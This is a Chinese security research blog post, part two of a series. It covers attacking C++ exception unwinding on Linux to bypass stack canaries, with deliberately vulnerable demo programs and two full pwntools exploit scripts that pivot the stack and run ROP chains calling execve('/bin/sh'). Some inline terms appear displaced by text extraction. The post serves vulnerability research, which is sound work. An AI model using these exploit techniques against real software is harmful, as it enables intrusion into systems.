溢出漏洞在异常处理中的攻击手法-下

本文针对的是Linux下的C++对应的异常处理,也就是对基于eh_frame进行unwind的异常处理流程的攻击手法的研究。由于异常处理的流程和底层实现在不同操作系统和语言上有一定差距,需具体问题具体对待。上篇文章同发布于先知社区:溢出漏洞在异常处理中的攻击利用手法-上 - 先知社区

本篇将在上一篇的基础上,讨论研究chop的更多可能利用手法

从CHOP到ROP

同样使用上一篇的增加了的代码。为了方便测试使用三个参数,关于参数将在下文介绍。backdoor catch handler-no-pie -static -fomit-frame-pointer-fomit-frame-pointer

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

class x {
    public:
    char buf[0x10];
    x(void) {
        printf("x:x() called\n");
    }
    ~x(void) {
        printf("x:~x() called\n");
    }
};

void test() {
    x a;
    int cnt = 0x100;
    size_t len = read(0,a.buf,cnt);
    if(len > 0x10) {
        throw "Buffer overflow";
    }
}

void backdoor()
{
    try{
        printf("Here is backdoor!");
    }
    catch(const char* s) {
        printf("backdoor catch: %s\n", s);
    }
}

int main()
{
    try {
        test();
        throw 1;
    }
    catch(int x) {
        printf("Int: %d\n", x);
    }
    catch(const char* s) {
        printf("String: %s\n", s);
    }
    return 0;
}

基本思想

在上篇中,我们已知可以通过覆盖ret来进行不同的的调用,从而控制程序流,如下图catch handler

在开始之前,我们需要补充两点前提:

  • 在某些情况下,程序为了提高一定的性能或者节省寄存器空间,可以不依靠来存储栈帧,而是仅通过增减特定栈大小来调整栈位置。此时,在编译时需要用的gcc/g++的一个参数。rbprsp-fomit-frame-pointer

  • 另外这里补充一个关于Canary这中缓解措施的一个特性:Cananry以及__stack_chk_fail()并不是在所有栈帧所有函数中均包含的,而是只放置在可能出现栈溢出的地方

-fomit-frame-pointer
Omit the frame pointer in functions that don't need one. This avoids the instructions to save, set up and restore the frame pointer; on many targets it also makes an extra register available.

在清晰上述两点后,我们先用上篇的操作,将程序流劫持到函数的catch块中,并观察返回地址backdoor

这里ret将调用,栈地址为,而我们输入payload的地址为。另外,由于Canary的特性,在这个里并没有Canary也不会进行检测。这意味着我们可以继续溢出,从而劫持的返回地址。__libc_start_call_main0x7ffd22bc5ef80x7ffd22bc5eb0handlercatch handler

此时,解决有canary的异常处理溢出问题就变为了非常简单的传统的无canary栈溢出问题,此时直接结合传统的onegadget,ROP等等利用方式即可。

但是这里还是存在一个问题,上述利用手法中,我们潜藏了一个条件就是溢出点的地址一定比catch handler拥有的栈地址低,这是一定呢,还是巧合呢?

考虑到异常处理的流程,其中一个核心部分叫做栈展开,或者说栈回退。意味着找到的catch handler对应的ret位置一定比输入点的栈地址高,所以绝大多数情况都是适用的。

实际测试

这里我们将payload增长,使其能够覆盖的ret的地址,并尝试让其调用,测试payload如下handlerbackdoor()

payload = b'a'*0x28
payload += p64(backdoor_try+1)
payload += b'b'*0x18
payload += p64(0x401B46) # address of backdoor

效果如图,发现可以的确可以劫持ret地址为backdoor()

更进一步,我们尝试用rop调用来getshell.这里由于没有找到的字符串,可以自己调用read读一个到已知地址去,最终成功getshellsys_execve("/bin/sh",0,0)/bin/sh

示例exp

本身测试代码比较简单,这里的exp只作为研究参考

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']

io = process('./pwn')
def p():
    gdb.attach(proc.pidof(io)[0],'b *0x401b6e')

backdoor_try = 0x401B55  
io.recvuntil("called")
pop_rdi = 0x000000000040291c #: pop rdi ; ret
pop_rsi = 0x0000000000404009 #: pop rsi ; ret
pop_rdx_rbx = 0x000000000049775b #: pop rdx ; pop rbx ; ret
pop_rax = 0x0000000000462f37 #: pop rax ; ret
syscall = 0x000000000040fac9 #: syscall
read_addr = 0x4624D0
binsh = 0x4d7000 #
payload = b'a'*0x28
payload += p64(backdoor_try+1)
payload += b'b'*0x18
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(binsh)
payload += p64(pop_rdx_rbx)
payload += p64(0x8)
payload += p64(0)
payload += p64(read_addr)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx_rbx)
payload += p64(0)
payload += p64(0)
payload += p64(pop_rax)
payload += p64(59)
payload += p64(syscall)
io.send(payload)
sleep(1)
io.sendline('/bin/sh\x00')

io.interactive()

小结

我们看到了在不使用rbp作为栈帧寄存器的情况下,可以利用异常处理的特性,使得canary防护无效化,大幅降低漏洞利用难度,配合传统栈溢出手法即可。几个关键点如下:

  • 程序不使用rbp作为栈帧寄存器(即便使用rbp也可以配合栈转移解决,见下一节)
  • 找到一个没有的handler(无检测的handler其实相当多,比如本例main原有的catch其实也没有检测)__stack_chk_fail()
  • 溢出长度要较长一点(长度不足以直接ROP时可以尝试)onegadget

CHOP与栈转移

前面说到要转化为传统直接的栈上ROP似乎有一个必要的前提:不能使用rbp作为栈帧寄存器!这种情况不能说没有,但毕竟比较少见。接下来,我们提升一下难度,不使用参数进行编译,在这种情况下继续分析如何进一步利用。-fomit-frame-pointer

为了方便测试,略微更改了一下代码,去除了,增添了全局变量backdoor()name

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char name[0x10];

class x {
    public:
    char buf[0x10];
    x(void) {
        printf("x:x() called\n");
    }
    ~x(void) {
        printf("x:~x() called\n");
    }
};

void test() {
    x a;
    int cnt = 0x100;
    size_t len = read(0,a.buf,cnt);
    if(len > 0x10) {
        throw "Buffer overflow";
    }
}

int main()
{
    try {
        puts("Hello, your name?");
        printf(">>");
        read(0,name,0x10);
        name[15] = '\0';
        test();
    }
    catch(const char* s) {
        printf("String: %s\n", s);
    }
    return 0;
}

基本思想

回想我们在上篇提到的覆盖rbp的来劫持手法,我提到其形式与传统的栈转移相当类似,可以劫持流到的地址去。在上一篇我也用类似的方式将rbp改为got中的一段地址使其成功调用puts函数,如图:[rbp+8]

进一步考虑在本例中,我们已经拥有修改全局变量的能力(或者在一些堆题目中,我们可以做到任意地址写),那么我们可以利用类似栈转移的思想,直接在bss上放置或者构造ROPonegadget

实际测试

由于name的长度受限,ROP相对更有难度一些,大致利用思路如下:

  • 首先通过name在bss段伪造栈底, ret设置为test函数,rbp仍设置为bss地址,就可以在bss的伪造栈上再次read导致溢出
  • 第一次进入test溢出,rbp覆盖为name地址,再次跳转test
  • 第二次进入test溢出,在bss上留下字符串以及片段信息/bin/shrop
  • 在bss上再次触发异常处理,利用rbp覆盖跳转到上一步留下的ROP片段

下面将详细说明每一步的内容

覆盖rbp进行栈转移

首先用name来伪造一个栈底部,然后覆盖rbp为bss段的变量地址,payload 构造如下name

name_addr = 0x4D93D0 #变量name的地址,保证二次溢出时的栈帧仍在bss上
test_addr = 0x401a75 #test函数的地址,再次调用read溢出

io.recvuntil("name?")
payload = p64(name_addr) + p64(test_addr)
io.send(payload)

io.recvuntil("called") 
payload = b'a'*0x30
payload += p64(name_addr)
io.send(payload)

可以注意到在结束时,由于我们在bss上留下,ret将再次进入catch handler[name_addr+8]==test_addrtest()

并且由于此时栈帧已经被转移到了bss上,图中的栈帧和rsi可见,将在bss上做栈溢出read()

构造二次溢出payload

这一步是整个流程中最麻烦的一步,如果真的通过再次使用异常处理的话,去触发ROP要考虑到以下几个方面:

  • 留下字符串/bin/sh
  • 留下构造好的ROP链
  • 覆盖rbp保证异常处理结束的ret能够跳转至ROP
  • 覆盖ret地址为内,保证能够寻找到main的main()catch handler
  • 合理设置栈上内容,防止中途crash

要同时满足上述几个条件的难度较大,且成功率较低,因而这里我们可以换种思路。

既然bp此时是可控的,那完全可以直接劫持函数自身的返回地址来触发rop,这样成功率更高。众所周知,在时,函数返回地址会push进入当前栈, 也就是。而read第二个参数rsi又是依靠寻址,那么只需要让rbp和rsp直接空隙足够小,就可以调用时覆盖对应栈帧的返回地址。readcall read[rsp-8][rbp-0x3c]sys_read()read()

为了完成这个目的,就要将函数里最开始的栈帧控制区域跳过,然后让rbp与rsp足够近即可。这里我将地址直接换成了read函数前test

那么第二轮的payload我们只需要考虑两部分内容即可

  • 留下字符串/bin/sh
  • 在read的ret地址处留下构造好的ROP链

第二次溢出payload构造如下:

payload = b'/bin/sh\x00'
payload += p64(0)*6
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx_rbx)
payload += p64(0)
payload += p64(0)
payload += p64(pop_rax)
payload += p64(0x3b)
payload += p64(syscall)

可以看到在调用返回时,地址变为了刚刚读入的ROP链,最终成功getshell.read()

示例exp
from pwn import *

# context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']

io = process('./ehframe4')
def p():
    gdb.attach(proc.pidof(io)[0],'b read')

p()
name_addr = 0x4D93D0
test_addr = 0x401a9d

io.recvuntil("name?")
payload = p64(name_addr) + p64(test_addr)
io.send(payload)

io.recvuntil("called") 
payload = b'a'*0x30
payload += p64(name_addr)
io.send(payload)

pop_rdi = 0x000000000040286c #: pop rdi ; ret
pop_rdx_rbx = 0x000000000049769b #: pop rdx ; pop rbx ; ret 
pop_rsi = 0x0000000000403f59 #: pop rsi ; ret
pop_rax = 0x0000000000462e77 #: pop rax ; ret
syscall = 0x0000000000401bcd #: syscall
binsh = 0x4d93a0
main = 0x401B8C
io.recvuntil("called") 

payload = b'/bin/sh\x00'
payload += p64(0)*6
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx_rbx)
payload += p64(0)
payload += p64(0)
payload += p64(pop_rax)
payload += p64(0x3b)
payload += p64(syscall)

io.send(payload)
io.interactive()

总结

经过上下两篇我们主要分析了在异常处理中,针对溢出漏洞的手法。通过混淆unwinder,我们可以实现以下效果:

  • 使异常被其他函数拥有的捕获catch handler
  • 利用libcc++内原有的Gloden Gadget实现任意函数调用
  • 在不使用rbp的情况下,可以直接在其他合适的中进行ROPcatch handler
  • 在使用rbp的情况下,也可以配合其栈转移的效果,在bss这些地方做ROP

还有一些理论可行的方案,作者并没有测试成功。比如在中,经常会有一些对象的析构函数,但是往往不会将指针置空,可以尝试用这些来构造UAF;另外并不会中断unwind的流程,一般会调用来继续流程,可以尝试用一些合适的来构造某种执行链条(有点类似ROP的基本思想)。clean upclean upclean up_Unwind_Resume()clean up

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值